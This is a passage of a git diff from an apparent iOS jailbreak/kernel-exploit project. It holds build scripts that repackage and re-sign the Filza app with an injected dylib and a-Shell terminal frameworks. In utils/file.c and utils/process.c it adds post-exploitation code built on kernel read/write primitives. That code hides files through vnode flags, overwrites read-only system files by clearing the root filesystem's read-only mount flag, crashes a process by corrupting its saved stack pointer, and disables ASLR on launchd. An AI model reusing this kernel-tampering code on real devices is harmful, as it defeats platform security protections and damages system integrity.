$BASE_IPA" >&2; exit 66; } +[[ -d "$THEOS" ]] || { echo "Theos not found: $THEOS" >&2; exit 66; } +if [[ -z "$WQ_APP_GROUPS" ]]; then + echo "WQ_APP_GROUPS is required (space-separated group identifiers)" >&2 + exit 65 +fi + +export THEOS +export PATH="$THEOS/bin:$PATH" +# Theos' bundled ldid may not run on current macOS builds. codesign is enough +# for the intermediate dylib; final app signing happens below. +export TARGET_CODESIGN="${TARGET_CODESIGN:-codesign}" +export TARGET_CODESIGN_FLAGS="${TARGET_CODESIGN_FLAGS:---force --sign -}" + +echo "==> Building FilzaApplySandboxExt.dylib" +cd "$REPO_ROOT" +make clean >/dev/null +make FINALPACKAGE=1 +DYLIB="$REPO_ROOT/.theos/obj/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || DYLIB="$REPO_ROOT/.theos/obj/debug/FilzaApplySandboxExt.dylib" +[[ -f "$DYLIB" ]] || { echo "built dylib not found" >&2; exit 70; } + +STAGE_ROOT="$(mktemp -d /private/tmp/FilzaSlop-WQ.XXXXXX)" +trap 'rm -rf "$STAGE_ROOT"' EXIT +unzip -q "$BASE_IPA" -d "$STAGE_ROOT/stage" +APP="$(find "$STAGE_ROOT/stage/Payload" -maxdepth 1 -type d -name '*.app' -print -quit)" +[[ -n "$APP" ]] || { echo "Payload app not found" >&2; exit 65; } + +# The bundled Sharing extension has its own App ID and cannot be authorized by +# the single-App-ID profile used for normal signing. +rm -rf "$APP/PlugIns" + +echo "==> Patching Info.plist" +plutil -replace CFBundleIdentifier -string "$BUNDLE_ID" "$APP/Info.plist" +plutil -replace CFBundleDisplayName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert CFBundleDisplayName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" +plutil -replace CFBundleName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert CFBundleName -string "$APP_DISPLAY_NAME" "$APP/Info.plist" +plutil -replace FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" 2>/dev/null || \ + plutil -insert FilzaSlopVersion -string "$FILZASLOP_VERSION" "$APP/Info.plist" +plutil -remove CFBundleURLTypes "$APP/Info.plist" 2>/dev/null || true +plutil -insert NSLocalNetworkUsageDescription -string \ + "FilzaSlop runs a local WebDAV server so you can browse device storage from a computer." \ + "$APP/Info.plist" 2>/dev/null || true +plutil -insert NSBonjourServices -json '["_http._tcp.","_webdav._tcp."]' \ + "$APP/Info.plist" 2>/dev/null || true + +# Runtime-readable copy of the groups (SecTask is the primary source). +groups_json="[" +first=1 +for group in ${(s: :)WQ_APP_GROUPS}; do + [[ -n "$group" ]] || continue + if (( first == 0 )); then groups_json+=","; fi + groups_json+="\"$group\"" + first=0 +done +groups_json+="]" +plutil -remove WQAppGroups "$APP/Info.plist" 2>/dev/null || true +plutil -insert WQAppGroups -json "$groups_json" "$APP/Info.plist" + +echo "==> Adding bundled test files" +mkdir -p "$APP/WQTestFiles" +if [[ -f "$REPO_ROOT/tests/test.deb" ]]; then + cp "$REPO_ROOT/tests/test.deb" "$APP/WQTestFiles/test.deb" +fi +if [[ -f "$REPO_ROOT/tests/test" ]]; then + cp "$REPO_ROOT/tests/test" "$APP/WQTestFiles/test" + chmod 0755 "$APP/WQTestFiles/test" +fi + +echo "==> Injecting dylib" +mkdir -p "$APP/Frameworks" +cp "$DYLIB" "$APP/Frameworks/FilzaApplySandboxExt.dylib" +codesign --remove-signature "$APP/Frameworks/FilzaApplySandboxExt.dylib" 2>/dev/null || true + +if [[ "${WQ_TERMINAL:-0}" == "full" ]]; then + ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" + "$REPO_ROOT/scripts/prepare_dev_terminal.sh" "$APP" "$ASHELL_IPA" + cp "$REPO_ROOT/vendor/libssh/libssh.4.dylib" "$APP/Frameworks/libssh.4.dylib" +elif [[ "${WQ_TERMINAL:-0}" == "1" ]]; then + ASHELL_IPA="${ASHELL_IPA:-$HOME/Downloads/Terminal.ipa}" + "$REPO_ROOT/scripts/prepare_mini_terminal.sh" "$APP" "$ASHELL_IPA" +fi + +if [[ -n "$PROFILE" ]]; then + [[ -f "$PROFILE" ]] || { echo "profile not found: $PROFILE" >&2; exit 66; } + cp "$PROFILE" "$APP/embedded.mobileprovision" +fi + +if [[ -n "$ENTITLEMENTS" ]]; then + [[ -f "$ENTITLEMENTS" ]] || { echo "entitlements not found: $ENTITLEMENTS" >&2; exit 66; } + plutil -lint "$ENTITLEMENTS" >/dev/null +else + ENTITLEMENTS="$STAGE_ROOT/wq-entitlements.plist" + { + echo '' + echo '' + echo '' + echo 'com.apple.security.application-groups' + for group in ${(s: :)WQ_APP_GROUPS}; do + [[ -n "$group" ]] && echo "$group" + done + echo '' + } > "$ENTITLEMENTS" +fi + +echo "==> Signing nested code" +sign_args=(--force --timestamp=none) +if [[ -n "$SIGN_IDENTITY" ]]; then + sign_args+=(--sign "$SIGN_IDENTITY") + [[ -n "$KEYCHAIN" ]] && sign_args+=(--keychain "$KEYCHAIN") +else + sign_args+=(--sign -) +fi + +while IFS= read -r -d '' candidate; do + if file -b "$candidate" | grep -q 'Mach-O'; then + codesign "${sign_args[@]}" "$candidate" + fi +done < <(find "$APP" -type f -perm +111 -print0) + +echo "==> Signing app" +codesign "${sign_args[@]}" --entitlements "$ENTITLEMENTS" "$APP" +codesign --verify --deep --strict "$APP" + +rm -f "$OUTPUT_IPA" +( + cd "$STAGE_ROOT/stage" + zip -qry "$OUTPUT_IPA" Payload +) +echo "==> Wrote $OUTPUT_IPA" +shasum -a 256 "$OUTPUT_IPA" diff --git a/scripts/prepare_dev_terminal.sh b/scripts/prepare_dev_terminal.sh new file mode 100755 index 0000000..73b3495 --- /dev/null +++ b/scripts/prepare_dev_terminal.sh @@ -0,0 +1,232 @@ +#!/bin/zsh +# Build the larger developer terminal payload: every a-Shell command except +# Python, Node.js, Lua/TeX (and commands that hard-depend on Python, such as +# vim and xxd). Resources for Perl/man/ImageMagick are kept. +# +# Usage: prepare_dev_terminal.sh [ashell-ipa] +set -euo pipefail + +APP="${1:A}" +ASHELL_IPA="${2:-$HOME/Downloads/Terminal.ipa}" +REPO_ROOT="${0:A:h:h}" +RES_SRC="$REPO_ROOT/../a-shell-master/Resources_mini" +[[ -d "$APP" ]] || { echo "app not found: $APP" >&2; exit 66; } +[[ -f "$ASHELL_IPA" ]] || { echo "a-Shell IPA not found: $ASHELL_IPA" >&2; exit 66; } +[[ -d "$RES_SRC" ]] || { echo "Resources_mini not found: $RES_SRC" >&2; exit 66; } + +python3 - "$APP" "$ASHELL_IPA" "$RES_SRC" <<'PY' +import os, re, shutil, struct, sys, zipfile, plistlib + +app, ipa, resources_mini = sys.argv[1], sys.argv[2], sys.argv[3] +z = zipfile.ZipFile(ipa) +names = z.namelist() +app_prefix = None +for n in names: + m = re.match(r'(Payload/[^/]+\.app/)', n) + if m: + app_prefix = m.group(1) + break +if not app_prefix: + raise SystemExit('cannot find app prefix in IPA') +print('IPA app:', app_prefix) + +def exclude_framework(name): + n = name.lower().replace('.framework', '') + if n.startswith('python') or n.startswith('python'): + return 'Python' + if n in ('node', 'npm', 'node-fetch'): + return 'Node.js' + if n in ('vim', 'xxd'): + return 'Python dependency' + tex_names = ('xetex', 'luatex', 'luahbtex', 'pdftex', 'euptex', + 'texlua53', 'texluajit', 'kpathsea', 'kpsewhich', 'bibtex', + 'metapost', 'mflua', 'mplib', 'mf') + if n in tex_names or n.startswith('lua') or ( + n.startswith('tex') and n != 'text'): + return 'TeX/Lua' + if n in ('libllvm', 'clang', 'lld', 'ar'): + return 'unused compiler' + if n in ('libgdal', 'openblas', 'libgfortran', 'libproj', 'libgeos', + 'libgeos_c', 'libspatialindex', 'libspatialindex_c'): + return 'Python geo/math' + # Duplicate variant frameworks (A/B/C/D/E) are runtime alternatives. + if re.search(r'(dash|perl|ssh_cmd|openrsync|xetex|luahbtex|luatex|pdftex|euptex)[A-E]$', n): + return 'duplicate variant' + return None + +fw_size = {} +fw_files = {} +for n in names: + if not n.startswith(app_prefix + 'Frameworks/'): + continue + rest = n[len(app_prefix + 'Frameworks/'):] + parts = rest.split('/') + if len(parts) < 2 or not parts[0].endswith('.framework'): + continue + fw = parts[0] + fw_size[fw] = fw_size.get(fw, 0) + z.getinfo(n).file_size + fw_files.setdefault(fw, []).append(n) + +def macho_deps(data): + out = [] + if len(data) < 32: + return out + magic = struct.unpack_from(' len(data): + break + cmd, size = struct.unpack_from(' len(data): + break + if (cmd & 0x7fffffff) in (0xc, 0x18, 0x1f, 0x23): + nameoff = struct.unpack_from(' start: + out.append(data[start:end].decode('utf-8', 'replace')) + off += size + elif magic in (0xcafebabe, 0xcafebabf): + n = struct.unpack_from('>I', data, 4)[0] + for i in range(n): + off = (struct.unpack_from('>I', data, 8 + i*20 + 8)[0] + if magic == 0xcafebabe else + struct.unpack_from('>Q', data, 8 + i*32 + 8)[0]) + out += macho_deps(data[off:]) + return out + +deps = {} +for fw, files in fw_files.items(): + base = fw[:-len('.framework')] + target = next((f for f in files if os.path.basename(f) == base), None) + if target is None: + continue + try: + for d in macho_deps(z.read(target)): + if '.framework/' in d: + deps.setdefault(fw, set()).add(d.split('/')[-2].replace('.framework', '') + '.framework') + except Exception: + pass + +cd = plistlib.loads(z.read(app_prefix + 'commandDictionary.plist')) +selected = set() +for cmd, info in cd.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + if path == 'SELF': + continue + fw = path.split('/')[0] + if not fw.endswith('.framework'): + fw += '.framework' + if fw in fw_size and not exclude_framework(fw): + selected.add(fw) + +# add transitive dependencies +pending = list(selected) +while pending: + fw = pending.pop() + for d in deps.get(fw, ()): + if d in fw_size and d not in selected and not exclude_framework(d): + selected.add(d) + pending.append(d) + +print('selected frameworks:', len(selected), 'size:', round(sum(fw_size[f] for f in selected)/1e6, 1), 'MB') + +# extract frameworks +os.makedirs(os.path.join(app, 'Frameworks'), exist_ok=True) +for fw in sorted(selected): + dest = os.path.join(app, 'Frameworks', fw) + shutil.rmtree(dest, ignore_errors=True) + os.makedirs(dest, exist_ok=True) + for n in fw_files[fw]: + if '/_CodeSignature/' in n: + continue + rel = n[len(app_prefix + 'Frameworks/' + fw + '/'):] + if not rel: + continue + out = os.path.join(dest, rel) + if n.endswith('/'): + os.makedirs(out, exist_ok=True) + continue + os.makedirs(os.path.dirname(out), exist_ok=True) + info = z.getinfo(n) + with z.open(n) as src, open(out, 'wb') as dst: + shutil.copyfileobj(src, dst) + mode = (info.external_attr >> 16) & 0o777 + if mode: + os.chmod(out, mode) + +# resources +wqres = os.path.join(app, 'WQResources') +shutil.rmtree(wqres, ignore_errors=True) +os.makedirs(wqres, exist_ok=True) +for sub in ('bin', 'usr'): + src = os.path.join(resources_mini, sub) + if os.path.isdir(src): + shutil.copytree(src, os.path.join(wqres, sub), symlinks=True) + +# top-level a-Shell resources that are not Python/Node/TeX +for sub in ('Perl', 'man', 'task', 'terminfo', 'ImageMagick-7'): + dest = os.path.join(wqres, sub) + found = False + for n in names: + if n.startswith(app_prefix + sub + '/'): + if not found: + shutil.rmtree(dest, ignore_errors=True) + os.makedirs(dest, exist_ok=True) + found = True + rel = n[len(app_prefix + sub + '/'):] + if not rel: + continue + out = os.path.join(dest, rel) + if n.endswith('/'): + os.makedirs(out, exist_ok=True) + continue + os.makedirs(os.path.dirname(out), exist_ok=True) + info = z.getinfo(n) + with z.open(n) as src, open(out, 'wb') as dst: + shutil.copyfileobj(src, dst) + mode = (info.external_attr >> 16) & 0o777 + if mode: + os.chmod(out, mode) + if found: + print('resource:', sub) + +for name in ('cacert.pem',): + n = app_prefix + name + if n in z.NameToInfo: + with z.open(n) as src, open(os.path.join(wqres, name), 'wb') as dst: + shutil.copyfileobj(src, dst) + +# filtered command dictionary +out_cd = {} +for cmd, info in cd.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + if path == 'SELF': + out_cd[cmd] = info + continue + fw = path.split('/')[0] + if not fw.endswith('.framework'): + fw += '.framework' + if fw in selected: + out_cd[cmd] = info +plistlib.dump(out_cd, open(os.path.join(app, 'commandDictionary.plist'), 'wb')) +print('commands kept:', len(out_cd), '/', len(cd)) + +# Remove zero-byte placeholders for excluded commands from WQResources/bin. +bin_dir = os.path.join(wqres, 'bin') +if os.path.isdir(bin_dir): + for name in os.listdir(bin_dir): + p = os.path.join(bin_dir, name) + if not os.path.isfile(p) or os.path.getsize(p) != 0: + continue + if name not in out_cd: + os.unlink(p) + +print('done') +PY diff --git a/scripts/prepare_mini_terminal.sh b/scripts/prepare_mini_terminal.sh new file mode 100755 index 0000000..fca979f --- /dev/null +++ b/scripts/prepare_mini_terminal.sh @@ -0,0 +1,67 @@ +#!/bin/zsh +# Copy the a-Shell mini ios_system runtime into a Filza app bundle. +# Usage: prepare_mini_terminal.sh [ashell-ipa] +set -euo pipefail + +APP="${1:A}" +ASHELL_IPA="${2:-$HOME/Downloads/Terminal.ipa}" +FRAMEWORKS=( + ios_system shell files text network_ios dash tar awk curl_ios jq bc_ios + calc xxd unrar openrsync mandoc task lua_ios lex lg2 multimarkdown pico + blink ssh_cmd ssh_agent vim +) + +[[ -d "$APP" ]] || { echo "app not found: $APP" >&2; exit 66; } +[[ -f "$ASHELL_IPA" ]] || { echo "a-Shell IPA not found: $ASHELL_IPA" >&2; exit 66; } + +TMP="$(mktemp -d /private/tmp/wq-mini.XXXXXX)" +trap 'rm -rf "$TMP"' EXIT +unzip -Z1 "$ASHELL_IPA" > "$TMP/list" +ASHELL_APPDIR="$(grep -m1 -E '^Payload/[^/]+\.app/' "$TMP/list" | cut -d/ -f1-2)" +[[ -n "$ASHELL_APPDIR" ]] || { echo "cannot locate app inside IPA" >&2; exit 65; } + +echo "==> Extracting mini command frameworks" +mkdir -p "$APP/Frameworks" +for framework in "${FRAMEWORKS[@]}"; do + archive_path="${ASHELL_APPDIR}/Frameworks/${framework}.framework" + if ! unzip -q "$ASHELL_IPA" "${archive_path}/*" -d "$TMP/extract" 2>/dev/null; then + echo " skip missing ${framework}.framework" + continue + fi + rm -rf "$APP/Frameworks/${framework}.framework" + cp -R "$TMP/extract/${archive_path}" "$APP/Frameworks/${framework}.framework" + rm -rf "$APP/Frameworks/${framework}.framework/_CodeSignature" + echo " ${framework}.framework" +done + +echo "==> Copying mini resources" +RES_SRC="${ASHELL_RESOURCES:-$(dirname "$0")/../Resources_mini}" +if [[ ! -d "$RES_SRC" ]]; then + RES_SRC="$(dirname "$0")/../../a-shell-master/Resources_mini" +fi +[[ -d "$RES_SRC" ]] || { echo "Resources_mini not found" >&2; exit 66; } +rm -rf "$APP/WQResources" +mkdir -p "$APP/WQResources" +cp -R "$RES_SRC/bin" "$APP/WQResources/bin" +cp -R "$RES_SRC/usr" "$APP/WQResources/usr" +chmod -R u+rwX "$APP/WQResources" + +echo "==> Filtering command dictionary" +python3 - "$RES_SRC/commandDictionary.plist" "$APP/commandDictionary.plist" "${FRAMEWORKS[@]}" <<'PY' +import plistlib, sys +source, destination = sys.argv[1], sys.argv[2] +selected = set(sys.argv[3:]) +d = plistlib.load(open(source, 'rb')) +out = {} +for command, info in d.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + framework = path.split('/')[0].replace('.framework', '') + if path == 'SELF' or framework in selected: + out[command] = info +plistlib.dump(out, open(destination, 'wb')) +print(f"commands: {len(out)} / {len(d)}") +PY + +echo "==> Mini terminal payload ready: $(du -sh "$APP/Frameworks" "$APP/WQResources" | tr '\n' ' ')" diff --git a/scripts/refresh_device_catalog.sh b/scripts/refresh_device_catalog.sh new file mode 100755 index 0000000..74eab5b --- /dev/null +++ b/scripts/refresh_device_catalog.sh @@ -0,0 +1,50 @@ +#!/bin/zsh +set -euo pipefail + +if (( $# < 1 || $# > 2 )); then + echo "usage: $0 [output.plist]" >&2 + exit 64 +fi + +UDID="$1" +OUTPUT="${2:-/tmp/MCMIdentifiers.plist}" +PYMOBILEDEVICE3="${PYMOBILEDEVICE3:-pymobiledevice3}" +TEMP_JSON="$(mktemp /tmp/filza-mcm-apps.XXXXXX.json)" +trap 'trash "$TEMP_JSON"' EXIT + +"$PYMOBILEDEVICE3" apps list --type Any --udid "$UDID" > "$TEMP_JSON" +python3 - "$TEMP_JSON" "$OUTPUT" <<'PY' +import json +import plistlib +import re +import sys + +source, output = sys.argv[1:] +records = json.load(open(source, "r", encoding="utf-8")) +safe = re.compile(r"^[A-Za-z0-9._-]{1,255}$") +apps = set() +groups = set() +for map_key, record in records.items(): + if not isinstance(record, dict): + continue + identifier = record.get("CFBundleIdentifier") or map_key + if isinstance(identifier, str) and safe.fullmatch(identifier): + apps.add(identifier) + containers = record.get("GroupContainers") + if isinstance(containers, dict): + groups.update(key for key in containers if isinstance(key, str) and safe.fullmatch(key)) + +catalog = { + "AppData": sorted(apps), + "AppGroups": sorted(groups), + "ExtensionData": [], + "VPNData": [], + "ServiceData": [], + "SystemData": [], + "SystemGroups": [], + "ProtectedData": [], +} +with open(output, "wb") as stream: + plistlib.dump(catalog, stream, sort_keys=False) +print(f"wrote {output}: app_data={len(apps)} app_groups={len(groups)}") +PY diff --git a/tests/test b/tests/test new file mode 100755 index 0000000..0f1e656 --- /dev/null +++ b/tests/test @@ -0,0 +1,4 @@ +#!/bin/dash +echo "worse_query test executable OK" +echo "pwd: $(pwd)" +echo "uid: ${UID:-unknown}" diff --git a/tests/test.c b/tests/test.c new file mode 100644 index 0000000..407623c --- /dev/null +++ b/tests/test.c @@ -0,0 +1,8 @@ +#include +#include + +int main(void) { + printf("worse_query test executable OK\n"); + printf("uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid()); + return 0; +} diff --git a/tests/test.deb b/tests/test.deb new file mode 100644 index 0000000..77b3a27 Binary files /dev/null and b/tests/test.deb differ diff --git a/utils/file.c b/utils/file.c new file mode 100644 index 0000000..1b4d950 --- /dev/null +++ b/utils/file.c @@ -0,0 +1,151 @@ +// +// file.c +// darksword-kexploit-fun +// +// Created by seo on 3/29/26. +// + +#include "file.h" +#include "../kexploit/krw.h" +#include "../kexploit/offsets.h" +#include "../kexploit/vnode.h" +#include "../kexploit/kutils.h" +#include "../kexploit/xpaci.h" + +#include +#include +#include +#include +#include + + +uint64_t hide_path(const char* path) { + uint64_t vnode = get_vnode_for_path_by_open(path); + if(vnode == -1) { + printf("[%s:%d] Unable to get vnode, path: %s", __FUNCTION__, __LINE__, path); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return vnode; +} + +uint64_t reveal_path_by_vnode(uint64_t vnode) { + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //show file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +// Overwrite /System/... file data +uint64_t overwrite_system_file(char* to, char* from) { + + int to_fd = open(to, O_RDONLY); + if (to_fd == -1) return -1; + off_t to_file_sz = lseek(to_fd, 0, SEEK_END); + + int from_fd = open(from, O_RDONLY); + if (from_fd == -1) return -1; + off_t from_file_sz = lseek(from_fd, 0, SEEK_END); + + if(to_file_sz < from_file_sz) { + close(from_fd); + close(to_fd); + printf("[%s:%d] File size is too big to overwrite!", __FUNCTION__, __LINE__); + return -1; + } + + uint64_t proc = proc_self(); + + // get vnode + uint64_t fileprocPtrArr = kread64(proc + off_proc_p_fd + off_filedesc_fd_ofiles); + fileprocPtrArr = xpaci(fileprocPtrArr); + uint64_t to_fileproc = kread64(fileprocPtrArr + (8 * to_fd)); + uint64_t to_fp_glob = kread64(to_fileproc + off_fileproc_fp_glob); + to_fp_glob = xpaci(to_fp_glob); + uint64_t to_vnode = kread64(to_fp_glob + off_fileglob_fg_data); + to_vnode = xpaci(to_vnode); + + // unset read-only flag on rootfs + uint64_t rootvnode_mount = kread64(get_rootvnode() + off_vnode_v_mount); + rootvnode_mount = xpaci(rootvnode_mount); + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + + // modify open flags to make writable + uint32_t to_fg_flag = kread32(to_fp_glob + off_fileglob_fg_flag); + kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag | FWRITE); + + // to modify, increasing writecount needed + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + } + + // modify file data + void* from_mapped = mmap(NULL, from_file_sz, PROT_READ, MAP_PRIVATE, from_fd, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_fd); + close(to_fd); + return -1; + } + + void* to_mapped = mmap(NULL, to_file_sz, PROT_READ | PROT_WRITE, MAP_SHARED, to_fd, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_fd); + close(to_fd); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_sz); + msync(to_mapped, to_file_sz, MS_SYNC); + + munmap(from_mapped, from_file_sz); + munmap(to_mapped, to_file_sz); + + // restore open flags + kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag); + // restore rootfs mount flag + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_fd); + close(to_fd); + + return 0; +} diff --git a/utils/file.h b/utils/file.h new file mode 100644 index 0000000..b9f3518 --- /dev/null +++ b/utils/file.h @@ -0,0 +1,24 @@ +// +// file.h +// darksword-kexploit-fun +// +// Created by seo on 3/29/26. +// + +#ifndef file_h +#define file_h + +#include +#include +#include + +// xnu-10002.81.5/bsd/sys/vnode_internal.h +#define VISSHADOW 0x008000 /* vnode is a shadow file */ +// xnu-10002.81.5/bsd/sys/mount.h +#define MNT_RDONLY 0x00000001 /* read only filesystem */ + +uint64_t hide_path(const char* path); +uint64_t reveal_path_by_vnode(uint64_t vnode); +uint64_t overwrite_system_file(char* to, char* from); + +#endif /* file_h */ diff --git a/utils/hexdump.c b/utils/hexdump.c new file mode 100644 index 0000000..6797a1d --- /dev/null +++ b/utils/hexdump.c @@ -0,0 +1,60 @@ +// +// hexdump.c +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#include +#include +#include +#include + +#include "hexdump.h" + + +void hexdump(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + if ((i % 16) == 0) + { + printf("[0x%016llx+0x%03zx] ", &data, i); + } + + printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } + else + ascii[i % 16] = '.'; + + if ((i + 1) % 8 == 0 || i + 1 == size) { + printf(" "); + if ((i + 1) % 16 == 0) + printf("| %s \n", ascii); + else if (i + 1 == size) { + ascii[(i + 1) % 16] = '\0'; + if ((i + 1) % 16 <= 8) { + printf(" "); + } + for (j = (i + 1) % 16; j < 16; ++j) + printf(" "); + + printf("| %s \n", ascii); + } + } + } +} + +void hexdump_file(const char *path, size_t size) +{ + int fd = open(path, O_RDONLY); + void *buf = malloc(size); + ssize_t n = read(fd, buf, size); + close(fd); + if (n > 0) + hexdump(buf, n); + free(buf); +} diff --git a/utils/hexdump.h b/utils/hexdump.h new file mode 100644 index 0000000..03c572d --- /dev/null +++ b/utils/hexdump.h @@ -0,0 +1,10 @@ +// +// hexdump.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + + +void hexdump(const void* data, size_t size); +void hexdump_file(const char *path, size_t size); diff --git a/utils/process.c b/utils/process.c new file mode 100644 index 0000000..3668550 --- /dev/null +++ b/utils/process.c @@ -0,0 +1,51 @@ +// +// process.c +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#include "process.h" +#include +#include "../kexploit/kutils.h" +#include "../kexploit/krw.h" +#include "../kexploit/xpaci.h" +#include "../kexploit/offsets.h" + +int crash_process(const char* name) { + uint64_t proc = proc_find_by_name(name); + uint64_t task = proc_task(proc); + + uint64_t threads = kread64(task + off_task_threads_next); + + uint64_t upcb = kread64(threads + off_thread_machine_upcb); + upcb = xpaci(upcb); + + uint64_t state = upcb + off_arm_saved_state_uss_ss_64; + + kwrite64(state + offsetof(struct arm_saved_state64, sp), 0x1337133713371337); + + return 0; +} + +// xnu-10002.81.5/bsd/sys/proc.h +#define P_DISABLE_ASLR 0x00001000 /* Disable address space layout randomization */ +int disable_aslr(void) { + + uint64_t launchd_proc = proc_find(1); + uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag); + + kwrite32(launchd_proc + off_proc_p_flag, p_flag | P_DISABLE_ASLR); + + return 0; +} + +int enable_aslr(void) { + + uint64_t launchd_proc = proc_find(1); + uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag); + + kwrite32(launchd_proc + off_proc_p_flag, p_flag &~P_DISABLE_ASLR); + + return 0; +} diff --git a/utils/process.h b/utils/process.h new file mode 100644 index 0000000..5dcc63c --- /dev/null +++ b/utils/process.h @@ -0,0 +1,35 @@ +// +// process.h +// darksword-kexploit-fun +// +// Created by seo on 3/26/26. +// + +#ifndef process_h +#define process_h + +#include +#include + +struct arm_saved_state64 +{ + uint64_t x[29]; + uint64_t fp; + uint64_t lr; + uint64_t sp; + uint64_t pc; + uint32_t cpsr; + uint32_t aspsr; + uint64_t far; + uint32_t esr; + uint32_t exception; + uint64_t jophash; +}; + +int crash_process(const char* name); +int watch_process(const char* name); + +int disable_aslr(void); +int enable_aslr(void); + +#endif /* process_h */ diff --git a/vendor/libssh/include/CMakeLists.txt b/vendor/libssh/include/CMakeLists.txt new file mode 100644 index 0000000..a01b529 --- /dev/null +++ b/vendor/libssh/include/CMakeLists.txt @@ -0,0 +1,3 @@ +project(libssh-headers-x C) + +add_subdirectory(libssh) diff --git a/vendor/libssh/include/libssh/CMakeLists.txt b/vendor/libssh/include/libssh/CMakeLists.txt new file mode 100644 index 0000000..83e7b9f --- /dev/null +++ b/vendor/libssh/include/libssh/CMakeLists.txt @@ -0,0 +1,39 @@ +project(libssh-headers C) + +set(libssh_HDRS + callbacks.h + libssh.h + ssh2.h + legacy.h + libsshpp.hpp +) + +if (WITH_SFTP) + set(libssh_HDRS + ${libssh_HDRS} + sftp.h + ) +endif (WITH_SFTP) + +if (WITH_SERVER) + set(libssh_HDRS + ${libssh_HDRS} + server.h + ) +endif (WITH_SERVER) + +install( + FILES + ${libssh_HDRS} + DESTINATION + ${CMAKE_INSTALL_INCLUDEDIR}/${APPLICATION_NAME} + COMPONENT + headers +) + +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libssh_version.h.cmake + ${libssh_BINARY_DIR}/include/libssh/libssh_version.h + @ONLY) +install(FILES ${libssh_BINARY_DIR}/include/libssh/libssh_version.h + DESTINATION ${CMAKE_INSTALL_INCLUDEDIR}/${APPLICATION_NAME} + COMPONENT headers) diff --git a/vendor/libssh/include/libssh/agent.h b/vendor/libssh/include/libssh/agent.h new file mode 100644 index 0000000..caf8d3e --- /dev/null +++ b/vendor/libssh/include/libssh/agent.h @@ -0,0 +1,126 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2008-2009 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef __AGENT_H +#define __AGENT_H + +#include "libssh/libssh.h" + +/* Messages for the authentication agent connection. */ +#define SSH_AGENTC_REQUEST_RSA_IDENTITIES 1 +#define SSH_AGENT_RSA_IDENTITIES_ANSWER 2 +#define SSH_AGENTC_RSA_CHALLENGE 3 +#define SSH_AGENT_RSA_RESPONSE 4 +#define SSH_AGENT_FAILURE 5 +#define SSH_AGENT_SUCCESS 6 